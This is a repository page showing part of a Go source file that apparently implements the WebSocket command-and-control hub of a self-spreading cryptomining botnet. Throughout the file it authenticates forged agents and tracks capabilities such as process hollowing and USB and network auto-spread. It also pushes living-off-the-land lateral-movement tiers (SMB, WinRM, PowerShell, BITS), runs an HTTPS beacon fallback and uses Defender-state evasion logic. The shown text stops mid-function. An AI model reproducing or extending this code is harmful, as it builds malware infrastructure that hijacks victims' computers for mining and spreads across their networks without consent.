Files
AetherForge/server/internal/api/websocket.go
AetherForge 5b5fc7c01c
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add Emberwake Cloud Ecosystem deploy hub with AWS and generic spread templates.
Unified expandable panels with mermaid flows, ZIP export, connection tests, and Playwright smoke coverage.
2026-06-07 10:03:22 -07:00

2790 lines
85 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package api
import (
"crypto/subtle"
"database/sql"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"log"
"net/http"
"strings"
"sync"
"time"
"crypto-miner-server/internal/alerts"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/epidemiology"
"crypto-miner-server/internal/mining"
"crypto-miner-server/internal/miningsurgery"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
"crypto-miner-server/internal/strategy"
"crypto-miner-server/internal/vuln"
"github.com/google/uuid"
"github.com/gorilla/websocket"
)
// secureStringEqual compares two strings in constant time to prevent timing attacks.
func secureStringEqual(a, b string) bool {
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}
func coalesceStr(vals ...string) string {
for _, v := range vals {
if strings.TrimSpace(v) != "" {
return strings.TrimSpace(v)
}
}
return ""
}
// resolveDashboardWSUser validates dashboard WS credentials and returns the username.
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
func resolveDashboardWSUser(r *http.Request) (string, bool) {
if ticket := r.URL.Query().Get("ticket"); ticket != "" {
return consumeWSTicket(ticket)
}
token := r.URL.Query().Get("token")
if token == "" {
return "", false
}
decoded, err := base64.StdEncoding.DecodeString(token)
if err != nil {
return "", false
}
parts := strings.SplitN(string(decoded), ":", 2)
if len(parts) != 2 {
return "", false
}
user, pass := parts[0], parts[1]
if authCacheHit(user, pass) {
return user, true
}
usersMu.RLock()
stored, exists := authUsers[user]
usersMu.RUnlock()
if !exists || !checkPassword(stored, pass) {
return "", false
}
authCacheSet(user, pass)
return user, true
}
// checkDashboardWSToken validates dashboard WS upgrade credentials.
func checkDashboardWSToken(r *http.Request) bool {
_, ok := resolveDashboardWSUser(r)
return ok
}
var upgrader = websocket.Upgrader{
ReadBufferSize: 512 * 1024,
WriteBufferSize: 512 * 1024,
CheckOrigin: func(r *http.Request) bool {
return true // Allow all origins for local use
},
}
type Message struct {
Type string `json:"type"`
Payload json.RawMessage `json:"payload"`
}
type AgentConnection struct {
AgentID string
Conn *websocket.Conn
mu sync.Mutex
// Latency tracking — updated each ping/pong cycle.
latencyMu sync.Mutex
pingSentAt time.Time
LatencyMs *int // nil until first pong received
}
func (c *AgentConnection) SendJSON(v interface{}) error {
c.mu.Lock()
defer c.mu.Unlock()
return c.Conn.WriteJSON(v)
}
func (c *AgentConnection) WriteControl(messageType int, data []byte, deadline time.Time) error {
c.mu.Lock()
defer c.mu.Unlock()
return c.Conn.WriteControl(messageType, data, deadline)
}
// DashboardConn wraps a dashboard WebSocket with its own write mutex so
// broadcastDashboard and the ping loop never race on the same connection.
type DashboardConn struct {
Conn *websocket.Conn
mu sync.Mutex
Username string
Page string
}
func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteMessage(messageType, data)
}
func (d *DashboardConn) WriteJSON(v interface{}) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteJSON(v)
}
func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteControl(messageType, data, deadline)
}
// cmdResultKey is used to key pending command callbacks: "agentID:action".
type cmdResultKey struct{ AgentID, Action string }
// ConnectTaskRunner fires scheduled fleet tasks on agent connect/reconnect.
type ConnectTaskRunner interface {
RunConnectTasks(agentID, trigger string)
}
type WSHub struct {
db *db.Database
agents map[string]*AgentConnection
dashboards map[string]*DashboardConn
poolManager *pool.Manager
defaultPool pool.Config
aiHandler *AIHandler
agentConfigs map[string]AgentForgeConfig
agentCapabilities map[string]models.AgentCapabilities
agentLogs map[string]string
// T1016 DNS drift detection — stores last seen resolver list per agent
agentDNS map[string][]string
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
agentServiceDiscover map[string]cachedServiceDiscover
agentLiveTelemetry map[string]map[string]interface{}
agentInheritedPhenotype map[string]strategy.InheritedPhenotype
agentSubnet map[string]string
breedingRegistry *strategy.BreedingRegistry
serverPolicy ServerPolicy
adaptiveEngine *strategy.AdaptiveEngine
failureAtlas *atlas.FailureAtlas
subnetImmune *atlas.SubnetImmune
subnetAutopsies map[string]atlas.SubnetAutopsyPacket
subnetGossipWhispers map[string][]atlas.GossipHint
epidemiology *epidemiology.Tracker
miningSurgery *miningsurgery.Tracker
contingencyOrch *mining.ContingencyOrchestrator
fargateBurstCampaign bool
fargateBurstExpiresAt time.Time
fargateBurstTTLHours int
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
connectTasks ConnectTaskRunner
clearance *ClearanceManager
mu sync.RWMutex
// pendingCmdCallbacks allows handlers to await a specific command_result
// from an agent (used by Path Tracer orchestration).
pendingCmdMu sync.Mutex
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
beaconMu sync.Mutex
beaconLastSeen map[string]time.Time
beaconCmdQueue map[string][]BeaconCommand
beaconPolicyQueue map[string][]FleetAgentPolicy
// Scout constellation venue clustering (APK scouts reporting same SSID).
scoutConstellationMu sync.Mutex
scoutConstellations *fleetai.ScoutConstellationRegistry
scoutAgents map[string]bool
// Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
cloudVenueMu sync.Mutex
cloudVenues *fleetai.CloudVenueRegistry
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
statsBatchMu sync.Mutex
statsBatch map[string]json.RawMessage
statsBatchTimer *time.Timer
}
func NewWSHub(database *db.Database) *WSHub {
// Reset any rows that were left "online" by a previous server crash/restart.
// Agents will re-authenticate and flip themselves back to online within seconds.
if database != nil {
if err := database.MarkAllAgentsOffline(); err != nil {
log.Printf("[hub] startup offline reset: %v", err)
}
}
h := &WSHub{
db: database,
agents: make(map[string]*AgentConnection),
dashboards: make(map[string]*DashboardConn),
agentConfigs: make(map[string]AgentForgeConfig),
agentCapabilities: make(map[string]models.AgentCapabilities),
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
agentServiceDiscover: make(map[string]cachedServiceDiscover),
agentLiveTelemetry: make(map[string]map[string]interface{}),
agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype),
agentSubnet: make(map[string]string),
breedingRegistry: strategy.NewBreedingRegistry(),
epidemiology: epidemiology.NewTracker(),
miningSurgery: miningsurgery.NewTracker(),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
beaconPolicyQueue: make(map[string][]FleetAgentPolicy),
pingIntervalSec: 30,
}
h.clearance = NewClearanceManager(h)
if database != nil {
h.refreshHospiceBreedingCache()
}
// Background stale-agent sweep:
// 3 minutes old but the row still says "online", force it offline.
// This catches TCP half-open drops that slip past the ping/pong timeout.
go h.runStaleAgentSweep()
go h.runWarRoomBroadcast()
return h
}
// runStaleAgentSweep periodically marks online agents offline when their
// last_seen timestamp is stale (> 3 minutes without a stats message).
// It also notifies the dashboard so client state stays in sync.
func (h *WSHub) runStaleAgentSweep() {
if h.db == nil {
return
}
ticker := time.NewTicker(StaleAgentSweepInterval)
defer ticker.Stop()
for range ticker.C {
// Only sweep agents that are NOT currently connected in memory.
// If a live WS exists, let normal disconnect handling do its job.
h.mu.RLock()
liveIDs := make(map[string]bool, len(h.agents))
for id := range h.agents {
liveIDs[id] = true
}
h.mu.RUnlock()
agents, err := h.db.ListStaleOnlineAgents(StaleAgentThreshold)
if err != nil {
continue
}
for _, a := range agents {
if a == nil || liveIDs[a.ID] {
continue
}
// Row claims online, no live socket, last_seen is stale — fix it.
_ = h.db.SetAgentOffline(a.ID)
h.broadcastDashboard(Message{
Type: "agent_offline",
Payload: mustMarshal(map[string]string{"agent_id": a.ID}),
})
log.Printf("[hub] stale-sweep marked agent %s offline (last_seen %s ago)",
a.ID, time.Since(a.LastSeen).Round(time.Second))
}
}
}
func (h *WSHub) SetServerPolicy(p ServerPolicy) {
h.mu.Lock()
h.serverPolicy = p
h.mu.Unlock()
}
// SetAdaptiveEngine wires the fleet learning engine and starts background rescoring.
func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) {
h.mu.Lock()
h.adaptiveEngine = e
h.mu.Unlock()
if e != nil {
go h.runAdaptiveStrategyLoop()
}
}
// SetFailureAtlas wires negative-space mining pattern learning.
func (h *WSHub) SetFailureAtlas(a *atlas.FailureAtlas) {
h.mu.Lock()
h.failureAtlas = a
h.mu.Unlock()
}
func (h *WSHub) runAdaptiveStrategyLoop() {
ticker := time.NewTicker(strategy.RescoreInterval)
defer ticker.Stop()
for range ticker.C {
h.mu.RLock()
engine := h.adaptiveEngine
h.mu.RUnlock()
if engine == nil || !engine.Enabled() || h.serverPolicy.AIControlEnabled {
continue
}
if _, err := engine.RecomputeAll(); err != nil {
log.Printf("[strategy] background rescore: %v", err)
}
h.PushAdaptiveStrategyUpdates()
}
}
func (h *WSHub) SetPingInterval(seconds int) {
if seconds < 10 {
seconds = 30
}
h.mu.Lock()
h.pingIntervalSec = seconds
h.mu.Unlock()
}
// SetFleetSecret stores the shared secret that all forged agents must present.
// Called once at startup from main.go after config is loaded.
func (h *WSHub) SetEventNotifier(n *alerts.Notifier) {
h.mu.Lock()
h.eventNotifier = n
h.mu.Unlock()
}
func (h *WSHub) SetFleetSecret(secret string) {
h.mu.Lock()
h.fleetSecret = secret
h.mu.Unlock()
}
func (h *WSHub) SetConnectTaskRunner(r ConnectTaskRunner) {
h.mu.Lock()
h.connectTasks = r
h.mu.Unlock()
}
func (h *WSHub) ConnectedAgentIDs() []string {
h.mu.RLock()
defer h.mu.RUnlock()
ids := make([]string, 0, len(h.agents))
for id := range h.agents {
ids = append(ids, id)
}
return ids
}
func (h *WSHub) pingInterval() time.Duration {
h.mu.RLock()
sec := h.pingIntervalSec
h.mu.RUnlock()
if sec < 10 {
sec = 30
}
return time.Duration(sec) * time.Second
}
func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
defer ticker.Stop()
_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
conn.SetPongHandler(func(string) error {
return conn.SetReadDeadline(time.Now().Add(interval * 2))
})
for range ticker.C {
if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
return
}
}
}
// runPingLoopAgent is like runPingLoopRaw but also records RTT on each pong.
func (h *WSHub) runPingLoopAgent(ac *AgentConnection) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
defer ticker.Stop()
conn := ac.Conn
_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
conn.SetPongHandler(func(string) error {
// Measure RTT.
ac.latencyMu.Lock()
if !ac.pingSentAt.IsZero() {
ms := int(time.Since(ac.pingSentAt).Milliseconds())
ac.LatencyMs = &ms
}
ac.latencyMu.Unlock()
return conn.SetReadDeadline(time.Now().Add(interval * 2))
})
for range ticker.C {
ac.latencyMu.Lock()
ac.pingSentAt = time.Now()
ac.latencyMu.Unlock()
if err := ac.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
// Close so the read loop wakes up and deferred cleanup fires immediately.
_ = conn.Close()
return
}
}
}
func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
defer ticker.Stop()
_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
dc.Conn.SetPongHandler(func(string) error {
return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
})
for range ticker.C {
if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
return
}
}
}
// PolicyErasureEnabled reports whether ReedSolomon erasure lanes are active.
func (h *WSHub) PolicyErasureEnabled() bool {
return h.serverPolicySnapshot().ErasureLanesEnabled
}
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
h.mu.RLock()
defer h.mu.RUnlock()
return h.serverPolicy
}
func (h *WSHub) connectedAgentCount() int {
h.mu.RLock()
defer h.mu.RUnlock()
return len(h.agents)
}
// AwaitCommandResult registers a one-shot channel that will receive the next
// command_result payload for the given agentID+action pair. Call before
// sending the command so no result is missed. The caller must read from the
// returned channel within the given timeout.
func (h *WSHub) AwaitCommandResult(agentID, action string) <-chan map[string]interface{} {
ch := make(chan map[string]interface{}, 1)
h.pendingCmdMu.Lock()
h.pendingCmdCallbacks[cmdResultKey{agentID, action}] = ch
h.pendingCmdMu.Unlock()
return ch
}
// CancelAwait removes a pending callback without consuming it.
func (h *WSHub) CancelAwait(agentID, action string) {
h.pendingCmdMu.Lock()
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
h.pendingCmdMu.Unlock()
}
func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]interface{}) {
h.pendingCmdMu.Lock()
ch, ok := h.pendingCmdCallbacks[cmdResultKey{agentID, action}]
if ok {
delete(h.pendingCmdCallbacks, cmdResultKey{agentID, action})
}
h.pendingCmdMu.Unlock()
if ok {
// Blocking send — Path Tracer and other orchestrators must not drop results.
ch <- payload
}
}
func (h *WSHub) isAgentConnected(agentID string) bool {
h.mu.RLock()
defer h.mu.RUnlock()
_, ok := h.agents[agentID]
return ok
}
// writeAgentJSON sends a message to a connected agent using the per-connection
// write mutex. All post-auth outbound JSON must use this — never conn.WriteJSON
// from the read loop, or commands and new_job messages can corrupt each other.
//
// On any write error the underlying connection is closed immediately so the
// read loop's ReadMessage call returns an error, triggering the deferred
// cleanup (SetAgentOffline + agent_offline broadcast) without waiting the full
// 90-second read deadline.
func (h *WSHub) writeAgentJSON(agentID string, msg Message) error {
ac := h.getAgentConn(agentID)
if ac == nil {
return fmt.Errorf("agent %s not connected", agentID)
}
if err := ac.SendJSON(msg); err != nil {
// Closing the socket causes ReadMessage to fail immediately, which lets
// the HandleAgentWS defer run cleanup instead of waiting up to 90s.
_ = ac.Conn.Close()
return err
}
return nil
}
func (h *WSHub) SetPoolManager(manager *pool.Manager, defaultCfg pool.Config) {
h.mu.Lock()
h.poolManager = manager
h.defaultPool = defaultCfg
h.mu.Unlock()
}
func (h *WSHub) SetAIHandler(ai *AIHandler) {
h.mu.Lock()
h.aiHandler = ai
h.mu.Unlock()
}
func (h *WSHub) agentPoolConfig(agentID string) pool.Config {
h.mu.RLock()
defer h.mu.RUnlock()
cfg := h.agentConfigs[agentID]
poolCfg := pool.Config{
Host: cfg.poolHostOrDefault(h.defaultPool.Host),
Port: cfg.poolPortOrDefault(h.defaultPool.Port),
Wallet: cfg.Wallet,
}
if cfg.PoolHost == "" {
poolCfg.UseTLS = h.defaultPool.UseTLS
} else {
poolCfg.UseTLS = cfg.PoolTLS
}
if cfg.PoolPass != "" {
poolCfg.Password = cfg.PoolPass
} else if h.defaultPool.Password != "" {
poolCfg.Password = h.defaultPool.Password
} else {
poolCfg.Password = "x"
}
if poolCfg.Wallet == "" {
poolCfg.Wallet = h.defaultPool.Wallet
}
// Always carry the payment ID from the server-wide default (agents don't
// supply their own payment ID).
poolCfg.PaymentID = h.defaultPool.PaymentID
return poolCfg
}
func (h *WSHub) getAgentConn(agentID string) *AgentConnection {
h.mu.RLock()
defer h.mu.RUnlock()
return h.agents[agentID]
}
func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
clientIP := r.Header.Get("X-Forwarded-For")
if clientIP == "" {
clientIP = r.RemoteAddr
}
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
clientIP = clientIP[:idx]
}
log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
if !allowAgentWSUpgrade(clientIP) {
http.Error(w, "Too Many Requests", http.StatusTooManyRequests)
log.Printf("[WS] Agent upgrade rate-limited from %s", clientIP)
return
}
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
return
}
log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)
_ = conn.SetReadDeadline(time.Now().Add(agentWSAuthTimeout))
agentID := ""
defer func() {
if agentID != "" {
h.mu.Lock()
cur := h.agents[agentID]
// Only tear down fleet state if this connection is still the active one.
if cur != nil && cur.Conn == conn {
delete(h.agents, agentID)
delete(h.agentConfigs, agentID)
delete(h.agentLogs, agentID)
delete(h.agentSubnet, agentID)
h.mu.Unlock()
if h.aiHandler != nil {
h.aiHandler.RemoveEngine(agentID)
}
if h.clearance != nil {
h.clearance.RemoveAgent(agentID)
}
if err := h.db.SetAgentOffline(agentID); err != nil {
log.Printf("[hub] SetAgentOffline %s: %v", agentID, err)
}
h.broadcastDashboard(Message{
Type: "agent_offline",
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
})
} else {
h.mu.Unlock()
}
}
conn.Close()
}()
for {
_, msgBytes, err := conn.ReadMessage()
if err != nil {
log.Printf("Agent read error: %v", err)
break
}
var msg Message
if err := json.Unmarshal(msgBytes, &msg); err != nil {
log.Printf("Invalid message from agent: %v", err)
continue
}
switch msg.Type {
case "auth":
var auth struct {
AgentID string `json:"agent_id"`
FleetSecret string `json:"fleet_secret"`
Wallet string `json:"wallet"`
BackupPools []struct {
Host string `json:"host"`
Port int `json:"port"`
TLS bool `json:"pool_tls"`
Pass string `json:"pass"`
} `json:"backup_pools"`
Version string `json:"version"`
Hostname string `json:"hostname"`
Worker string `json:"worker"`
WorkerName string `json:"worker_name"`
CPUCores int `json:"cpu_cores"`
MemoryGB int `json:"memory_gb"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
AIModel string `json:"ai_model"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
Platform string `json:"platform"`
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
MacAddress string `json:"mac_address,omitempty"`
BuildID string `json:"build_id"`
USBSpread bool `json:"usb_spread"`
Campaign string `json:"campaign"`
UTM string `json:"utm"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
JoinLane string `json:"join_lane,omitempty"`
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
StrainCardID string `json:"strain_card_id,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "invalid auth payload",
})})
continue
}
// Verify fleet secret. If the server has one configured, the agent must match.
h.mu.RLock()
requiredSecret := h.fleetSecret
h.mu.RUnlock()
log.Printf("[WS] Agent auth: id=%s host=%s secret_prefix=%.8s", auth.AgentID, auth.Hostname, auth.FleetSecret)
if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "invalid fleet secret — re-forge this agent",
})})
log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID)
return
}
agentID = auth.AgentID
if agentID == "" {
// Try to match an existing agent by MAC address so a re-installed
// agent reuses its DB record instead of creating a ghost entry.
if auth.MacAddress != "" {
if existingID, err := h.db.FindAgentByMAC(auth.MacAddress); err == nil && existingID != "" {
agentID = existingID
log.Printf("[WS] Matched agent by MAC %s → reusing id=%s", auth.MacAddress, agentID)
}
}
if agentID == "" {
agentID = uuid.New().String()
}
}
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
policy := h.serverPolicySnapshot()
backupPools := make([]AgentBackupPool, len(auth.BackupPools))
for i, bp := range auth.BackupPools {
backupPools[i] = AgentBackupPool{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
}
forgeCfg := AgentForgeConfig{
Wallet: auth.Wallet,
PoolHost: auth.PoolHost,
PoolPort: auth.PoolPort,
PoolTLS: auth.PoolTLS,
PoolPass: auth.PoolPass,
AIEnabled: auth.AIEnabled,
AIOllamaEndpoint: auth.AIOllamaEndpoint,
AIModel: auth.AIModel,
BackupPools: backupPools,
}
caps := models.AgentCapabilities{
HolePunch: auth.HolePunch,
RemoteAggressive: auth.RemoteAggressive,
MeshP2P: auth.MeshP2P,
AutoSpread: auth.AutoSpread,
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
AIEnabled: auth.AIEnabled,
USBSpread: auth.USBSpread,
}
h.mu.Lock()
h.agentConfigs[agentID] = forgeCfg
h.agentCapabilities[agentID] = caps
h.mu.Unlock()
if h.poolManager != nil {
poolCfg := h.agentPoolConfig(agentID)
if poolCfg.Password == "" {
poolCfg.Password = "x"
}
// Build backup pool.Config list from what the agent sent at auth.
var backupCfgs []pool.Config
for _, bp := range backupPools {
if bp.Host == "" || bp.Port <= 0 {
continue
}
bpc := pool.Config{
Host: bp.Host,
Port: bp.Port,
UseTLS: bp.TLS,
Wallet: poolCfg.Wallet,
}
if bp.Pass != "" {
bpc.Password = bp.Pass
} else {
bpc.Password = poolCfg.Password
}
backupCfgs = append(backupCfgs, bpc)
}
// Connect to pool in background — do NOT block the auth_response.
// Once the pool is ready, push the current job so the agent starts
// mining immediately instead of waiting for a get_job retry cycle.
go func(pc pool.Config, bcs []pool.Config, aid string) {
proxy, err := h.poolManager.EnsurePoolWithBackups(&pc, bcs)
if err != nil {
log.Printf("[WS] Pool init for agent %s failed (will retry): %v", aid, err)
return
}
if job := proxy.GetCurrentJob(); job != nil {
if wErr := h.writeAgentJSON(aid, Message{Type: "new_job", Payload: mustMarshal(job)}); wErr != nil {
log.Printf("[WS] Push initial job to agent %s: %v", aid, wErr)
}
}
}(poolCfg, backupCfgs, agentID)
}
if h.aiHandler != nil && forgeCfg.AIEnabled {
h.aiHandler.SetEngineForAgent(agentID, forgeCfg.AIOllamaEndpoint, forgeCfg.AIModel)
}
clientIP := r.Header.Get("X-Forwarded-For")
if clientIP == "" {
clientIP = r.RemoteAddr
}
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
clientIP = clientIP[:idx]
}
prior, priorErr := h.db.GetAgent(agentID)
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
workerName := auth.WorkerName
if workerName == "" {
workerName = auth.Worker
}
agent := &models.Agent{
ID: agentID,
Name: displayName,
Wallet: auth.Wallet,
IP: clientIP,
Version: auth.Version,
Status: "online",
CPUCores: auth.CPUCores,
MemoryGB: auth.MemoryGB,
LastSeen: time.Now(),
Platform: auth.Platform,
Arch: auth.Arch,
OSVersion: auth.OSVersion,
Hostname: auth.Hostname,
MacAddress: auth.MacAddress,
BuildID: auth.BuildID,
WorkerName: workerName,
USBSpread: auth.USBSpread,
Campaign: coalesceStr(auth.Campaign, auth.UTM),
JoinLane: strings.TrimSpace(auth.JoinLane),
ParentAgentID: strings.TrimSpace(auth.ParentAgentID),
SpreadGeneration: auth.SpreadGeneration,
SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
Capabilities: &caps,
}
applyLaunchTemplateGenesisFirstAuth(agent, isNewAgent, launchTemplateAuthProbe{
JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash,
})
if err := h.db.UpsertAgent(agent); err != nil {
log.Printf("Failed to upsert agent: %v", err)
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "database error",
})})
break
}
if agent.Campaign != "" && (isNewAgent || (priorErr == nil && prior.Campaign == "")) {
_ = h.db.LogCampaignEvent(agent.Campaign, agent.BuildID, db.CampaignEventAgentConnect, "ws_auth", clientIP, "")
}
if policy.LogAgentConnections {
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
}
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
// two concurrent new agents could both pass the count check under RLock, then
// both get registered, overshooting the limit.
h.mu.Lock()
_, alreadyConnected := h.agents[agentID]
if policy.MaxAgents > 0 {
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
h.mu.Unlock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "fleet agent limit reached",
})})
break
}
}
// startPing tracks whether a new ping goroutine is needed.
// If the same connection is re-authing (rare but possible), the existing
// ping loop is still healthy — starting a second one would create two
// concurrent writers racing on conn.WriteControl.
startPing := !alreadyConnected
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
oldConn := old.Conn
h.mu.Unlock()
oldConn.Close()
h.mu.Lock()
startPing = true // fresh connection after displacing old one
}
domainJoined := prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain
ac := &AgentConnection{AgentID: agentID, Conn: conn}
h.agents[agentID] = ac
h.agentSubnet[agentID] = strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined).Subnet
h.mu.Unlock()
h.FlushBeaconPoliciesToWS(agentID)
h.FlushBeaconCommandsToWS(agentID)
h.ClearBeaconTransport(agentID)
// Only start a ping loop for genuinely new connections.
if startPing {
go h.runPingLoopAgent(ac)
}
_ = ac.SendJSON(Message{Type: "auth_response", Payload: mustMarshal(func() map[string]interface{} {
resp := map[string]interface{}{
"success": true,
"agent_id": agentID,
}
if auth.LotlPolicyFromServer {
tiers := policy.LotlOnionTiers
if len(tiers) == 0 {
tiers = []string{
"vuln_recon",
"docker", "wsl", "powershell", "dotnet", "bits_curl",
"smb", "winrm", "linux", "gpo",
}
}
resp["lotl_onion_tiers"] = tiers
}
mp := policy.MiningTierPolicy
if len(mp.TierOrder) == 0 {
mp.TierOrder = []string{
"exe_subprocess", "docker_load", "container", "wsl", "ps_inmemory",
"cpu_inprocess", "gpu_subprocess", "stratum_direct",
}
}
resp["mining_tier_policy"] = mp
top := policy.TripleOnionPolicy
if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
!top.MineIsolatedTier && !top.SkipMiningOnHighRisk {
top.PatchFirst = true
top.HighRiskThreshold = 50
top.ReconTiers = []string{"kev_scan", "vuln_recon", "service_probe", "listen_ports"}
top.DeployLanes = []string{
"discover_and_join", "docker", "wsl", "powershell", "dotnet", "bits_curl", "smb", "winrm",
}
}
resp["triple_onion_policy"] = top
spreadPolicy := map[string]interface{}{}
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
if policy.HashrateGateSpreadMin > 0 {
spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
}
if policy.HashrateGateHPS > 0 {
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
}
}
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
for k, v := range scoutPolicy {
spreadPolicy[k] = v
}
}
if cloudPolicy := h.cloudVenueSpreadPolicyForAuth(agentID); cloudPolicy != nil {
for k, v := range cloudPolicy {
spreadPolicy[k] = v
}
}
if len(spreadPolicy) > 0 {
resp["spread_policy"] = spreadPolicy
}
resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
resp["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
var inherited *strategy.InheritedPhenotype
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
pheno := strategy.PhenotypeFromStored(*stored)
inh := pheno.ToInherited()
inherited = &inh
} else if h.breedingRegistry != nil {
if bred, ok := h.breedingRegistry.GetBred(fp.Key()); ok {
inh := bred.ToInherited()
inherited = &inh
}
}
if inherited != nil {
inh := *inherited
h.mu.Lock()
h.agentInheritedPhenotype[agentID] = inh
h.mu.Unlock()
resp["inherited_phenotype"] = inh
agent.InheritedPhenotype = &models.AgentInheritedPhenotype{
SourceAgentName: inh.SourceAgentName,
Fingerprint: inh.Fingerprint,
SpreadLane: inh.SpreadLane,
TierOrder: append([]string(nil), inh.TierOrder...),
ActiveTier: inh.ActiveTier,
PeakHashrate: inh.PeakHashrate,
}
}
var defenderEnabled, defenderRTP *bool
if prior != nil {
defenderEnabled = prior.DefenderEnabled
defenderRTP = prior.DefenderRTP
}
if h.failureAtlas != nil && !policy.AIControlEnabled {
skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP)
if len(skips) > 0 {
